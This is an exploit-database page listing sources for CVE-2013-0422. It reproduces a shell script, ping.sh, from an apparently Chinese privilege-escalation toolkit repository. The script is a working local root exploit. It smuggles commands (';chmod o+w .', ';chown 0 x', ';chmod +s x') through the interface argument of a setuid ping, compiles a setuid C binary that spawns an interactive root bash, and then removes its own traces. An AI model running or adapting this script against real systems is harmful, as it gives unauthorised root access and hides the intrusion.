Exploit database

GH-6b6057e48941ec7e0988d1ab08178590

2402221619/tool

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2013-0422

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files180
2402221619/toolRevision e1de8defa93c
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

提权利器/linux/Spaciel/ping.sh

Shell · 616 bytes
#!/bin/sh

PING=/bin/ping6
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi


$PING -I ';chmod o+w .' 192.168.0.4 &>/dev/null

sleep 1

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

$PING -I ';chown 0 x' 192.168.0.4 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 192.168.0.4 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system"
  exit 1
fi

echo "Entering r00tshell..."

/x

echo "Thank you."